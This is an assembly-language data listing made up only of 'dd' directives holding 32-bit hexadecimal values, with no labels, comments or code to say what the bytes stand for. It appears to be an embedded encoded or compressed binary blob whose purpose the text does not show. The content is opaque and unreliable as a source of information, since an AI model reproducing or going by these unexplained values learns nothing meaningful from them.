dd 0AF4A1A04h, 0CFFF47F0h, 2EA089C0h, 7B5AE6Ch, 0DFB40F18h
dd 0FA306818h, 8BAA0673h, 0F0DC6EA2h, 1A765907h, 8B5B577Ch
dd 0F8EE004Ch, 2D93BACh, 41FA3AAh, 2C8116ABh, 1B7A548h
dd 1B08E6C8h, 8AC75902h, 10C202A2h, 8B40CFA6h, 889E7E36h
dd 9A026631h, 87DF041Ah, 4C7420FDh, 0D08D8B7h, 80260FFCh
dd 0DCC546C3h, 98D806A1h, 7CF98E59h, 32371FFEh, 7D102261h
dd 5314AE65h, 1800587Ch, 0DD948CAh, 3084E7F0h, 5A59575Bh
dd 0CA88E3E4h, 58F704F5h, 2002CED8h, 81928261h, 5FB18387h
dd 0CAAA70h, 935BFC38h, 3E2BD6Fh, 0C5723C00h, 0C012E889h
dd 888E1463h, 1700DCDFh, 2E75A70h, 5100DCF0h, 42D3924Ah
dd 0FEE441B2h, 8113060Dh, 71B91BACh, 67CE3A00h, 0F6DA7406h
dd 42882417h, 201B1A0Eh, 0C7E95943h, 0DADF4F1h, 7700C8F6h
dd 5883D878h, 405C5Eh, 4B62F967h, 3CFC2B65h, 0DC34C700h
dd 0EC278941h, 0A5D70057h, 81D1C6EAh, 3C0C1FAEh, 3160A058h
dd 0F11C6191h, 0D4DB6B93h, 0C0773D57h, 63F0FA03h, 0F38CBFA8h
dd 0C20E9F1Fh, 80286741h, 1EE1F8BCh, 0FD542402h, 0EC5F1F28h
dd 50861872h, 0E30FEF0Fh, 0E0028A90h, 0A5E08884h, 8D82007Ah
dd 0D40F09F4h, 189083FBh, 0CB491712h, 8D893445h, 69C400FEh
dd 0D0073632h, 386EA1C0h, 0B8025127h, 0CEF2009Ch, 7F310173h
dd 720548E0h, 58E15FF0h, 0B1C2B400h, 74B2DDh, 64A0EA73h
dd 0FCCEE560h, 7963C400h, 0BC65DAEDh, 21C7106h, 0CF9C26C0h
dd 84003C1h, 0E00E45Fh, 0AB478BECh, 42132Eh, 0E93953A8h
dd 30A50A59h, 0CB2B3E00h, 97E81404h, 92DC790Ch, 4BF80048h
dd 0D86A9057h, 2E3DD2C0h, 72068FE0h, 238520B6h, 70CF307Eh
dd 1BFB0361h, 0E8259373h, 89C800DDh, 0B5A12A8Bh, 0EAF56000h
dd 424AC16Bh, 0C0CA0008h, 1ECE7220h, 0DE00BC8Eh, 0CB127FB6h
dd 7CEC1C6Ch, 0F0F51D3Ah, 90CF0051h, 84C5E85Eh, 48AC345Fh
dd 1977960Eh, 3BF38EA3h, 7F17C2C8h, 0E5104E00h, 63714001h
dd 5CA3E6Eh, 0CED610E1h, 3A288F5Fh, 52C10073h, 1FC37642h
dd 8153C90Dh, 646B304Ch, 0A5DCE81Ah, 3B990500h, 594873B0h
dd 9018039Bh, 85A69AF7h, 0FCF9B4C1h, 6E005BCAh, 35846A46h
dd 0BAEDF4h, 0ECE80604h, 795824Eh, 14C4D900h, 138CF5B0h
dd 9CF4002Eh, 3AB67925h, 31009D72h, 521B2B45h, 39EA5AB1h
dd 0C1384655h, 49EDF280h, 514D7C67h, 80B16E3Eh, 9711080h
dd 1F0B873Ah, 0E10F2Bh, 7FAEF9C4h, 1577B06Ah, 0ADB3F400h
dd 5EA804E9h, 19CD9029h, 0F85A91FEh, 0F61880BCh, 0FB8A131Bh
dd 601490BBh, 0F97180A7h, 89043BAh, 0AFEC3300h, 0E2599C45h
dd 570A0388h, 7A5F32DFh, 0F3BA70F8h, 10F29E03h, 0D14E13A4h
dd 38E00626h, 1FDF01A0h, 0E5B1BBB3h, 4703C4EDh, 0CC98FA01h
dd 82790FB2h, 8DB7D4h, 0A1CF6376h, 2011E037h, 2623B42Ch
dd 8E83C400h, 43046Ch, 0F56FDFD3h, 0E7E10564h, 61CA7700h
dd 6C0EFEC1h, 82E500BAh, 3F70C4EFh, 0D20F8913h, 8273E864h
dd 0C0B4039Fh, 3114C9h, 0AAAB9981h, 0BA0C93B5h, 92D1A05h
dd 0B0C030F1h, 0E29698h, 0C4A4FDAEh, 0DB8E7271h, 8D0437B8h
dd 5C2CCEFh, 0EDB68EC0h, 626D075Eh, 0C0E80835h, 321E7D76h
dd 0A53D4E00h, 8F1B8223h, 99950EC6h, 0A4DCB363h, 5547000Eh
dd 31306209h, 407D5400h, 1538135Eh, 0D01F0341h, 0E8795201h
dd 0C9F628FEh, 885B7C88h, 0D140FC75h, 2EC24435h, 22369420h
dd 0B53159A8h, 0C17151C9h, 12371E11h, 0F6148124h, 8D01D384h
dd 0A6C10D0h, 507DEA9Dh, 61E53C70h, 670951A3h, 41201CCh
dd 50AC299Ch, 473C11DBh, 50610511h, 0C70CBFAAh, 515F987Dh
dd 0C157202Fh, 0D38811E6h, 28BC6390h, 50009214h, 8B4C3F01h
dd 1B4B33h, 7261AF51h, 0E9485E1Fh, 600D8F00h, 192F536Bh
dd 46DF00F1h, 0CCD6B7FCh
dd 5E00CB79h, 4F8556A9h, 0F16B04Eh, 81983C9h, 404DC867h
dd 217BD547h, 0D1A20905h, 36C0F36Bh, 9B45BD0h, 0FBC95259h
dd 69FF5480h, 0B30FDDDFh, 8039C087h, 0FE040A1Eh, 24F600B2h
dd 2C08466Ch, 95EC346Bh, 0E035C524h, 0C1005217h, 5E7F8D07h
dd 2D051C8Ch, 62CF411Fh, 0CC26819Dh, 47001DC0h, 0CB3448ACh
dd 1F06F4Ch, 14DED8BDh, 0E01BF1E6h, 55004117h, 0C8B66862h
dd 8CC17Bh, 4709ECABh, 3C9A162Ch, 6233B21Fh, 260868C0h
dd 12EEC1h, 4796F0D0h, 0EA1B87CDh, 0A883E502h, 0A05BB750h
dd 0B49F49Ch, 21B20096h, 126595C1h, 293C4D59h, 0BE5F8015h
dd 0F598272Ah, 7880152h, 701A6697h, 0C879CCC1h, 16D56C00h
dd 0DF6D9937h, 406700A9h, 9A38482Ch, 0C33B25ACh, 11EC00FEh
dd 30396BCDh, 0E3B3001Ah, 0B5F6FFD9h, 0B7005D57h, 2B4A9F42h
dd 389E4DA5h, 710F3226h, 3B406704h, 9FF5F0A8h, 0D8AB7702h
dd 8079E419h, 0DB16F90h, 0B6F40042h, 0A40B1E48h, 0FD005759h
dd 0C6B985ABh, 3C4E7DE9h, 0FB1D6816h, 0F2324060h, 0FA24B555h
dd 29E2600h, 0A1D6088Eh, 3B75001Ah, 0C5351F62h, 17E0E31Bh
dd 0F30009B0h, 15631201h, 3AE9688Ch, 9D031C65h, 526492DEh
dd 0C8A7B1A8h, 0D0550D01h, 0A289EAF7h, 0BF50C8h, 75787B95h
dd 41FF0E4Dh, 352A3B12h, 44E62C07h, 2013D2A0h, 639400B5h
dd 45F65F02h, 8100DFB4h, 0C4D3E85Dh, 75482Fh, 18F89342h
dd 16B8B68Ah, 81200890h, 87E20064h, 89BB50BAh, 0E90F78B3h
dd 0C783ECF4h, 0C7B0FDFEh, 397FD5h, 850EAE3Eh, 0C57492D1h
dd 0FF242F79h, 710B8768h, 4560043h, 0E4CDDh, 0BCD9481Ah
dd 0FC341884h, 0E717FB00h, 4A1354AEh, 16C00089h, 66F33AF5h
dd 8F3C2AA3h, 96911FDDh, 0D072A09Bh, 7795Bh, 1BECE2E6h
dd 0DD7A901Fh, 0B97B8700h, 8DA0EEE3h, 41CE014Ch, 0DC27720Ch
dd 2257DCA9h, 17DE6507h, 8D25F960h, 3CC6D280h, 3977CD9h
dd 0F39C9289h, 4FC81605h, 51070420h, 6A393A08h, 38D1D000h
dd 53931DEBh, 0ADCCC54Dh, 7CAB8083h, 0EE001A35h, 0B0096E50h
dd 483CE502h, 0A6003A1Ch, 7AC15DADh, 2B009A36h, 6D04B8F4h
dd 6BEDC3h, 0F7DAE706h, 609B93D3h, 67E55D00h, 10AC72FAh
dd 31180AB9h, 7A5941Dh, 0D384DFF9h, 4CB0F7E4h, 0DC01B59Ah
dd 0DA02F66h, 0A8E761D3h, 127BE060h, 4B44302h, 80B914C8h
dd 0DA655E95h, 3933DB00h, 0C6D59BE4h, 7CBA008Eh, 0D7759D63h
dd 0F7005A11h, 0CFB74730h, 5AB9BE9h, 0C6172D5Fh, 11B4000Eh
dd 917B3189h, 0E5D6D000h, 0A3FAF88Fh, 21E90F15h, 0E4207669h
dd 5D5229BCh, 534D9A00h, 0C6A1ED32h, 0BB7EBEh, 0E27AAD1Eh
dd 9699A4DFh, 0A4C32A3Dh, 25005B5Eh, 0E93E5B09h, 227D00B8h
dd 0D5F6ABC7h, 4B006E8Bh, 463F5112h, 0F7502A4h, 9163AE90h
dd 2B6B5F80h, 0CA781BBEh, 1462DF01h, 9F07445Bh, 75E070h
dd 3A0D3873h, 3E014D50h, 0E2295601h, 7EDC60A2h, 23C012F1h
dd 0C1FEA8h, 212285FDh, 0F6D28A91h, 9FF3DD00h, 0EA3D92EBh
dd 632D00A3h, 9A400D37h, 0AC0052E1h, 0C4ED64E8h, 2769BCh
dd 41674E0Eh, 8B1D5B1Bh, 0EE977C07h, 0F82039DCh, 98933F28h
dd 98DB00B4h, 3EFA851Dh, 0F60157E7h, 5861F536h, 93F48294h
dd 85FC3C3Ah, 0A5C9FB01h, 0EBC16CE1h, 1DFDE390h, 7464960Fh
dd 50CD209Ah, 7B6615B6h, 576D9h, 23D629A8h, 385198Fh, 0E5635E2Eh
dd 20044C00h, 98783EB3h, 3C2E0FAh, 63D76839h, 0C1F80B56h
dd 0B300C3E2h, 43951628h, 0BD9EFFh, 0B152CB7Bh, 7D53909Fh
dd 0E0B98D00h, 41D298B4h, 6F3B037Eh, 7710D070h, 0F4A17CC8h
dd 5B1E000h, 81B6A226h, 6ACF00A0h, 0D282725Eh, 1600AF06h
dd 7A3D86B0h, 363F80Fh, 89D3DCC1h, 4CB8691Bh, 5A06B07Bh
dd 2E22C672h, 0DC650350h, 0EA8D246Dh, 571601B0h, 2B91D10Fh
dd 0A8376097h, 0E28062Dh, 92D67049h, 0FAD97960h, 5D3E3A7Bh
dd 367E804Eh, 349F218Bh, 33FE00F2h, 32565F15h, 9A00F5E4h
dd 249603C8h, 1279DDA8h, 9A557h, 0CC68C555h, 4C00C72Ah
dd 954A35A4h, 0B95C25h, 0AF225553h, 171849EEh, 77EAB058h
dd 7E608313h, 3307A800h, 38FB706h, 1FA9EA12h, 22C0DE6Ch
dd 0C200E547h, 0E06487D9h, 102416Bh, 5FAF74B6h, 0D87B1E31h
dd 0D7012BEEh, 8167784Bh, 57F07C94h, 6E5500E1h, 8823A165h
dd 7800C4F4h, 0F99ACFB1h, 0E359054h, 0C31FEF36h, 0EEE6B060h
dd 0DC029E3Ch, 3998406Ah, 56BC00Ah, 386C4D2Bh, 0BF552A00h
dd 0C8AB42D7h, 0D796D00h, 0ED6EA9B4h, 0EEB000F0h, 275E95E1h
dd 9C0171A4h, 264D2184h, 14D411F3h, 0E07B03DBh, 0CE1A6D0Eh
dd 94921ED8h, 5C588726h, 0ECF6EE00h, 74DD6CBEh, 3BFA3C39h
dd 1095AAh, 0C2176118h, 26D2D05Bh, 37431500h, 0D467CC28h
dd 407F89h, 0BF5E09CDh, 0F1466F84h, 0F27E2101h, 0E1CB5516h
dd 9487A9F3h, 57E447F1h, 91FC74h, 17C6C2A0h, 5C98885Bh
dd 50BC1B00h, 7A1ACE0Eh, 0A4040E91h, 0C840058Eh, 0D8EBB131h
dd 0CDF59E00h, 0D942B0E9h, 4491008Dh, 61AF4D9Fh, 0AE780815h
dd 80A4134Dh, 0CE598CECh, 58CA0716h, 30438296h, 57C1402Ch
dd 0D00FB72Ch, 0B35ABD01h, 80C821FEh, 0CEA000D1h, 2D598AFDh
dd 7C0104AEh, 2129DB4Ah, 0F2D8B8D8h, 0E8BA30D4h, 56EEC5FAh
dd 2957D100h, 5164FF7Bh, 82440309h, 1025DAD7h, 8C6CECF0h
dd 5DC8AE00h, 0A171EDADh, 0C9FA0153h, 0BA09C1F3h, 0D45C215Ch
dd 0F23FD472h, 0E61780E8h, 447A997Bh, 0FD2BECFAh, 1ADDF0h
dd 0EF1E2916h, 0DF0E8FA9h, 5189460Eh, 9F938026h, 0A56E52h
dd 0B46BE61Dh, 76ABC39Dh, 2914DA00h, 59AEE272h, 1B030061h
dd 0FF33A7E1h, 0C7004D82h, 0E4AFEC5Eh, 0A58901h, 0A8B27636h
dd 0E0DCB19Bh, 4406649h, 5AEE0EADh, 0DB0BA0A2h, 0E000DC8Dh
dd 536AD7E3h, 55EA510Eh, 6F4215Eh, 18301DDAh, 0DEBD1645h
dd 427C00ABh, 0B17F76A7h, 25ED1307h, 49E5B221h, 1B33A87h
dd 3980EF68h, 34F351Ch, 0F3C719F1h, 209F4A51h, 0E6AAFA37h
dd 22EEB700h, 965449D5h, 7BB9FCF2h, 7B20028h, 4F0BBB1h
dd 1A4F1D9Dh, 3EE36900h, 5FC24Bh, 6A97FE13h, 99F473C5h
dd 2F4D0F00h, 27554EDAh, 8620E15Fh, 6B1AC076h, 0B15C8E52h
dd 0E623200h, 3E2A9EB2h, 6E090181h, 0BC8CE629h, 0FC87E4E8h
dd 4F765000h, 8F797745h, 73BB00F9h, 15631783h, 0EE09E7D8h
dd 10327824h, 0E4C66950h, 3EAA006Ah, 0E877D6B7h, 40F1D1C7h
dd 0CE744494h, 3045A000h, 2E1D87DFh, 5A90125h, 1FF2F95Fh
dd 0EFA2DCE2h, 0F812102h, 8E51491Ch, 5464E0BCh, 585546h
dd 0CBBE22A7h, 0C28A9B61h, 1FEEA200h, 9DEDE35Ah, 0C9F2002Ah
dd 7854F7FDh, 55072686h, 0AD53C767h, 7B287E60h, 0FBCB00E4h
dd 32C050E2h, 0C35C02A8h, 42DD00FCh, 0FAFD2F26h, 3FC6EC35h
dd 6A877FF1h, 0D054A41Fh, 0E11C0F0h, 0DB774900h, 5DBEA812h
dd 5A043BEAh, 0AD024600h, 3862538Ch, 0F3ED8B00h, 412945EBh
dd 6D0502C1h, 0B3F48063h, 64109D80h, 9A006846h, 56DBEA45h
dd 1B9F1Ah, 2452067Ch, 8D7BE5A1h, 87514300h, 9F4E89F7h
dd 57650082h, 0E6E8DA99h, 393FE477h, 0C40E80D4h, 34DF5389h
dd 9B990001h, 27F56FC6h, 0D800DEAEh, 0CA601CAAh, 1A5B678h
dd 0E8CB0B28h, 0DC447712h, 3E3BE5B8h, 0B98B8F95h, 576740ADh
dd 981943BBh, 17100083h, 0C15A2A05h, 20261B48h, 0F900D865h
dd 184EA2C8h
dd 8E4B2453h, 0A0348F88h, 518A93C3h, 67921CB0h, 0EEA10B0Ah
dd 3201D8A4h, 0E576AAE8h, 577C030h, 1B54EACFh, 3A51C0C8h
dd 870EF3D1h, 4F3D1ACCh, 19D00735h, 59BB5F00h, 0C3800072h
dd 0F0BC9BC7h, 0DF00C80Fh, 8EB51ADBh, 0F15CDEh, 6409E399h
dd 0BA774E17h, 8900FE5Fh, 3E0E211Ch, 3B2D1389h, 0CA0A0023h
dd 1790B552h, 1AA5B913h, 16DC2400h, 7B63A4CDh, 67EE0312h
dd 0A1ABC213h, 11CC40CFh, 36010DC0h, 24CE347Ch, 6DE4C9BEh
dd 86530009h, 4E2931FEh, 0DD09C8BAh, 0A0736470h, 53773830h
dd 580B0344h, 8CF450C6h, 3E60F090h, 0E5226CB8h, 4A3B0012h
dd 0B4B8B51Eh, 96000DA6h, 0E6DFD1F4h, 73BE59h, 84AA4B1Dh
dd 0B1A33851h, 0DBF8F61Eh, 0B8EE18C0h, 0CD03FFh, 81FA4C69h
dd 857F248h, 64A1CB24h, 2ACF8700h, 2D9750Ah, 1ECC53A2h
dd 0BA60AFEBh, 4EE20985h, 5F82A500h, 4CC5C087h, 0F73FE0Bh
dd 0ECEE7B15h, 7F0F13E1h, 0C208758h, 39A751B4h, 306CB560h
dd 149B485Ch, 9E5E00Bh, 5604820h, 1D00BB50h, 1F2DE10Ah
dd 0E2FEA1EBh, 0C97A0362h, 5E713760h, 0BAF168A8h, 7EDDB505h
dd 0C10387B0h, 0B5A82DB7h, 6ECB9880h, 6FE20008h, 0A3468691h
dd 84B663AFh, 0E710BF00h, 16AB603h, 35791A34h, 0C777DA23h
dd 0A0C39EE0h, 0DDDFC007h, 3CD063C9h, 0A7F5A4h, 756A43BDh
dd 0BCC446F7h, 51059501h, 2732E676h, 59AB60h, 618EE073h
dd 99F0FFD7h, 73C548h, 188375A9h, 8FE2BBh, 906087AAh, 38F72ED2h
dd 54334A00h, 7131AFCBh, 0C3630F8Ah, 0C96FFCD3h, 0D4C13BC0h
dd 20383CB9h, 5513014Fh, 2B1A27DEh, 0B24440C2h, 7FBB002Ah
dd 0C90D9357h, 9600AB40h, 5C5868Dh, 1029AA9h, 0EFD56E50h
dd 3D069B36h, 2BE40088h, 503B0986h, 0DAA44864h, 0CFB25100h
dd 973A41ECh, 2EE8ED00h, 0CDD9387Ah, 5B06383Ch, 64A7F081h
dd 70AE6644h, 293F7D98h, 4024EEFh, 0E0F54AF6h, 4A37318h
dd 7CD8AB7Fh, 7E9480AAh, 2B1E25A4h, 0C8006722h, 8FF5B4C7h
dd 0EE80A80h, 91077Bh, 3069A561h, 4C007716h, 7395BE91h
dd 0BEC3Bh, 475EE843h, 0E4DDD0F2h, 67AEFF00h, 1C978CBh
dd 1434005Fh, 0F770467Fh, 2500970Ch, 0EDAF8CBFh, 0ADE6FEh
dd 0D9C28E87h, 76686B53h, 120F384Ch, 5C409250h, 0F88B324Ah
dd 2D080079h, 2E01D5DEh, 0C09B2A3h, 806E54DDh, 0DB691211h
dd 0A6C900F3h, 5A6CB646h, 6D00BB0Bh, 23EDD68Dh, 298BB7h
dd 0E120E59Fh, 25210342h, 0D6E74D01h, 856E4E1Eh, 1904B822h
dd 80775CBEh, 2C931D4Eh, 0E9FD416h, 83D3A000h, 60A00D76h
dd 0B1E91003h, 9003899h, 0F1595BC7h, 8E44B8h, 0E1C97971h
dd 41AA40B4h, 5547FF01h, 0AF4DA1DBh, 403411EDh, 0A6B50218h
dd 0BD16E912h, 537EFA83h, 0B2E08CEBh, 0B401CF6Eh, 8A5CEA3h
dd 0E48061DBh, 276D7613h, 2D90E4B0h, 1C00C890h, 0DBDA60DCh
dd 7F20C3h, 1039319Ah, 690C3B71h, 76BBBC00h, 0BF3F546Bh
dd 2B70038h, 0E2D51E0Bh, 0E700F286h, 0A35978CDh, 11D036h
dd 9F3CE1Fh, 823A8B16h, 404C9D00h, 3EB151AEh, 327A0072h
dd 784FA09Eh, 0CD051A36h, 4CB2A7B0h, 0CC80E01Fh, 7CDBA6A3h
dd 0B34F0011h, 658DAECFh, 5000D685h, 0C38C169Bh, 0A3CAB6h
dd 82CC2BB7h, 378D9AB8h, 9350DC04h, 2CE07505h, 0AF008487h
dd 5C96D519h, 7858FD69h, 49790E76h, 0CDCE264Bh, 9935DB20h
dd 0AB003433h, 6D620681h, 48C8F4FBh, 1400DD2Ah, 29BE7A1h
dd 0EB001811h, 0CB66E450h, 1013708h, 0BD14FECEh, 0E8042A6Eh
dd 0FB26FC35h, 6D001C9Ah, 3783708Bh, 0D6070096h, 0EF8D8FEBh
dd 3300AE85h, 0FFEAC2ACh, 0DC409Dh, 0F3E851E4h, 599B822Bh
dd 3A152A1Ch, 49358DC0h, 1BE2C8Fh, 0A21A0AA6h, 3012F179h
dd 58018E4Bh, 92FCC82Eh, 39C8D435h, 3AF60036h, 334F0ED2h
dd 0A035AE6h, 61CF06Eh, 3F7B9902h, 71D6E0EEh, 166B00A1h
dd 0E926C1F5h, 0C0E3992h, 40D64744h, 0A39FB1A2h, 0FC80015h
dd 1ED44F6Eh, 940034D3h, 2C63CA4Ah, 0FCC148h, 495ACFF8h
dd 0F97E2396h, 0FC78C03h, 0C8CDB530h, 78B97C68h, 15E91C4Eh
dd 9A5303A0h, 0E6D9109Ch, 5276D0C8h, 7CA2002h, 40DCC3C2h
dd 546ED28h, 0D60BE3B7h, 0A7CE670h, 0F42855B3h, 78269600h
dd 4C0F20C2h, 642E2A66h, 681D0058h, 90BEA786h, 0B4EBB30Fh
dd 0C7809F5Dh, 0CACBD253h, 84C9061h, 33DB1206h, 3B94803Fh
dd 0DEE9EB89h, 0F8690090h, 0C0550947h, 590E77DCh, 0C0B4236Eh
dd 1E6A21A2h, 0D18700C4h, 0F4124C98h, 4F1771E7h, 7C826525h
dd 44D387CAh, 0C13A9C30h, 0AFE509A2h, 3880071Fh, 8A232920h
dd 5A903D00h, 86F52208h, 0E0A2001Bh, 39DEB2E3h, 0C63C59A4h
dd 0C02D0990h, 99D040F9h, 19CC0026h, 15174862h, 1400F2B2h
dd 0F43A258Bh, 0F0E0F9A0h, 0B7800EA6h, 5600857Dh, 18D04859h
dd 9F957A00h, 0E540124h, 55830586h, 0C0AE920Fh, 6544D3E2h
dd 59A25603h, 0B8CA3FE4h, 0A61D23Ch, 77135AE5h, 0A59D00E9h
dd 0A2456A39h, 50BF1000h, 0F6B92BB1h, 90C40021h, 0BE3572A1h
dd 2D1C429Bh, 0FCC1D6h, 9741435Dh, 5883A3h, 9BCDF4F2h
dd 8927F8D5h, 0CF1C0B02h, 5FF6ED15h, 8065AB40h, 0A0001490h
dd 642EC41Ah, 12668D48h, 802DED20h, 87816740h, 37B02400h
dd 63A35DF4h, 7305001Dh, 0A4A77DEBh, 0B0EE83A2h, 44B0E00h
dd 0E9612958h, 913003F0h, 0F16A20E7h, 9ADF3DA8h, 8E9F6600h
dd 0F62233Fh, 823700CAh, 0F4422B27h, 64BC857Fh, 2240C61Ch
dd 4B1C3264h, 947109D2h, 9081BC3Dh, 80E3166Eh, 0DF018CE2h
dd 8D5C95h, 0EC51F20Ch, 65524415h, 939E6600h, 64DCC4A2h
dd 95280745h, 0A0EAE199h, 3E072F9Dh, 5F90CF00h, 0E617DC21h
dd 61861CEFh, 544A80FCh, 8B3080AFh, 553E3802h, 5307EBC1h
dd 0A7C2003Ch, 0E99DFC36h, 0B500DB90h, 18954DD3h, 8AED1Fh
dd 0BFF72A20h, 5C35106Eh, 2C0F4FEEh, 8FB46FF6h, 0D4E98095h
dd 0B594B6h, 1FD3A280h, 97661E58h, 0B91ADF00h, 0B187766Ch
dd 0F3C1035Ah, 51A27945h, 7CB850E8h, 9EE2E90h, 93627D13h
dd 7A4BC428h, 6B4C00D8h, 0E3E68FB4h, 2100D2C7h, 28C09D02h
dd 332C7AACh, 7368691Ah, 88C875F3h, 9D0094A7h, 0B1414792h
dd 36BCDFh, 8758840Fh, 7285CB57h, 84261499h, 2D7C9E3Ah
dd 917732C0h, 7BAAB6F7h, 1C8800D0h, 3FB947C3h, 5516019Fh
dd 0DB009C87h, 675038A4h, 80B70002h, 7D03FD8Bh, 23001F05h
dd 2FB80BCEh, 61C42Ah, 0EF1530ABh, 641EF3DDh, 5F6D6800h
dd 9C03B808h, 283409F8h, 0A004A85h, 291712BAh, 0EA8A501h
dd 0AE42CCCh, 769B3F4h, 2DAFC440h, 0C9B2607Bh, 9F09BEABh
dd 0A00215h, 217D127Bh, 7FAE005Ch, 6C0D94CCh, 5DE25A53h
dd 0ADD56B0Fh, 982010Ah, 34E09A66h, 90F53A79h, 70540079h
dd 7EC5D25h, 0C600ABA5h, 0F30DCFE4h, 0BDF27Ch, 0E0AE16C1h
dd 0C480F533h, 553FB000h, 0E8655703h, 0BAB1009Fh, 537893A5h
dd 240032E1h, 2EE5F108h, 0ED56F5Ch, 0F467C420h, 76B1AC20h
dd 550046B2h, 0A3FCF843h, 0E4D7517h, 0DBE2EAB0h, 0E3C3E7C1h
dd 0C0F121B3h, 2B026D78h, 0C7E467A5h, 5CF8608Bh, 161A051Eh
dd 206CC49h, 0ACBDA2EAh, 744024E2h, 9A009424h, 0F232A8DBh
dd 79F73EBh, 6993467Ah, 8A2F503Ch, 7E58A109h, 0A47A1FCh
dd 0B7FDC8h, 1A902938h, 9E6DDA4Ah, 241B830Fh, 447380D8h
dd 43C56h
dd 4BDB5CCDh, 9C11A799h, 43046EFAh, 290852C1h, 0AC0344C0h
dd 2EF50066h, 7CADDABAh, 0D4001B18h, 0C208829Ch, 1F793109h
dd 44B0D2h, 1C2057E9h, 8F009FD7h, 8E8DC4ADh, 0FA1D53h
dd 78E97787h, 0B6A7F288h, 0BBE1F00Eh, 10BF6086h, 326746h
dd 0C6C082A0h, 0B4187E21h, 952F2918h, 60AAB8h, 673A9315h
dd 997E7B36h, 0A1E0CA0Fh, 225B40CEh, 0BB51D9h, 525F5798h
dd 0B9D491A6h, 611B1F00h, 7673DB0Dh, 6C221C07h, 296B491Eh
dd 23B1E400h, 0DC001666h, 38367BD3h, 0AF10ECh, 0E5959AD6h
dd 7E848D85h, 6E830400h, 4ED2C932h, 0B54A05A6h, 3028FC55h
dd 0C52DFD80h, 9D6C6813h, 1238E800h, 7CDE1C35h, 3DC70091h
dd 1B01D7B7h, 78004F33h, 4A407CA1h, 0F2F3EE1h, 445D2E7Dh
dd 0B0BB6E64h, 0E2FA1E34h, 0A5355239h, 404562h, 97466507h
dd 861215F2h, 4401E8Dh, 0A8FAAE5Bh, 452000CBh, 6DCFCE60h
dd 0F0F18175h, 170E22D2h, 0E7A6AF7Ah, 6651BD65h, 5CC4CAC7h
dd 2DEE00CEh, 5B24FC53h, 381D9774h, 0B50017E7h, 0F1952B77h
dd 0B2DD0061h, 69D186BCh, 0AB0083A5h, 376F7887h, 959EF9h
dd 261FC28Ch, 0BAF4EFC8h, 503B6D00h, 860BA276h, 0B7709Dh
dd 725E488Eh, 0C585D359h, 79009273h, 4634C474h, 0DE522Dh
dd 8E8048E5h, 0D603C5BCh, 652B7200h, 0ECCFB6FFh, 3DD97362h
dd 481CF205h, 15C04794h, 2D805F0Eh, 1EE141CFh, 0E7AB8E16h
dd 8985EC07h, 88EE63B3h, 802493h, 391D329Bh, 3CF4DDF7h
dd 95152717h, 4D5E6207h, 0D33D7E90h, 54A50ECEh, 8006AD4h
dd 982C8299h, 56002D7Fh, 2148391Ch, 708CDA4Dh, 29BB00FDh
dd 0CD095F4Bh, 0E6000DCCh, 1CEEFFAAh, 1330D87Bh, 801E56E0h
dd 0F40587F0h, 57B5E303h, 8851E908h, 75350B2h, 0B065F085h
dd 2A0C3F1Dh, 0D0000A48h, 64147FF5h, 0E2E09041h, 2E091407h
dd 50018BC9h, 117F0603h, 0CF9FC432h, 0A1530B00h, 6B8FA82Ch
dd 0AEB124B8h, 0E83A0132h, 801BEDABh, 0E1105489h, 7F96DFCh
dd 17B16E55h, 0B998C0E9h, 0AF0EF703h, 0E0FA9C33h, 0BA5148C3h
dd 0B8B31C36h, 1D80C0BCh, 3B9F6D73h, 0E9F98300h, 215D2AFBh
dd 47AF870h, 41A952CBh, 9DB88056h, 2AE2FA0Fh, 9B5F6901h
dd 83D3FC5Eh, 661F3C41h, 9109DFCh, 77CFD70h, 0F513B0D8h
dd 0C0B0A131h, 598A007Fh, 293C7D4Dh, 472438DAh, 803F167Ah
dd 266C5177h, 60E6E3F9h, 5914BCEBh, 9B1CF366h, 29C046BEh
dd 68E9A35Fh, 0DE9E07BBh, 808EB9A9h, 923A6DE6h, 0B4BDA400h
dd 4EF02A87h, 0C7AC000Eh, 9F4F39CDh, 0D50047EBh, 0ED95EF12h
dd 734B3E1h, 0D6063507h, 5913E71Ch, 0F70018F0h, 4EE1176Ch
dd 1361AA8h, 41021ECEh, 53147ED2h, 0FE8051BCh, 1300A92Bh
dd 2A025A0Ch, 9A655E9Fh, 734204C4h, 80201936h, 1D9BB7EDh
dd 0CFFE7101h, 1C15983h, 1E86A9DCh, 0C736FC9Ch, 0F6AD04EEh
dd 6A3C8020h, 72BF8239h, 0F06955ABh, 3158C0F4h, 0CE4E9C2Eh
dd 7A8D290Fh, 0B5A0E303h, 6236885Bh, 43530630h, 202FB761h
dd 80F87038h, 1C0EFFC1h, 5234F67h, 654C41DCh, 6D4EC175h
dd 7769C007h, 0F7B6339h, 0C010ED22h, 0E83B99BCh, 1CDCFC86h
dd 0F3E0DF7Ah, 14F83F20h, 17003D70h, 0DE12C1E2h, 51C0729h
dd 0F0166A98h, 1EDA00AEh, 1966637Eh, 0A3BD8C1Eh, 0D73C8340h
dd 0FEBBB296h, 0CF110EA1h, 12032FA9h, 608826B9h, 46005A65h
dd 0B88E7574h, 71178AD2h, 386EEA0h, 7E3F8B0Eh, 87B08281h
dd 9907F404h, 0B43BD007h, 70C028F0h, 9E6A014Ch, 31CEAC5h
dd 7A98C3FBh, 0EB0DF27h, 3B50E100h, 1E6526Ah, 0ACEC28BAh
dd 0FFC203BEh, 84CAD01Bh, 36054EC0h, 3565F900h, 0E4FCF6A1h
dd 0F1890087h, 0FAF3C8EEh, 0D3005AAFh, 910A4E3Fh, 0C3A678h
dd 4C5C0CE2h, 431A859Ch, 0F5115113h, 3AC03900h, 5D84DFh
dd 6148ED7Ch, 0F90C3164h, 11FE3E00h, 0E28842ABh, 0C8CD26FBh
dd 177008Ch, 0ADEE271Fh, 70008EF0h, 885349F3h, 216061h
dd 0FDB6C005h, 0EB28E604h, 3F1B1C00h, 55B94B1Eh, 97D60788h
dd 50D79D69h, 0E9FA2502h, 9000E5FEh, 7A2B093Dh, 38141831h
dd 0AA800CD9h, 588AB51Fh, 0B7393BABh, 850E0074h, 52916E9Ch
dd 2A560088h, 316132DFh, 7F00B078h, 0E92079F9h, 0A19A9h
dd 15DE1EF5h, 0A828C7E8h, 80E2FA3Fh, 5865E34Eh, 0FC951F89h
dd 72BEA12h, 4FCB0F51h, 0F32CA0DEh, 8D07BD87h, 8B17C736h
dd 0AE73A260h, 2A4F302Fh, 815982A8h, 8858BC18h, 7A94648h
dd 830FF94Ah, 1DD2205h, 42B082E3h, 28000A78h, 9FD5BD75h
dd 3EC40240h, 80873420h, 30A1CFC5h, 0BE3105B2h, 0A7CD3D1Eh
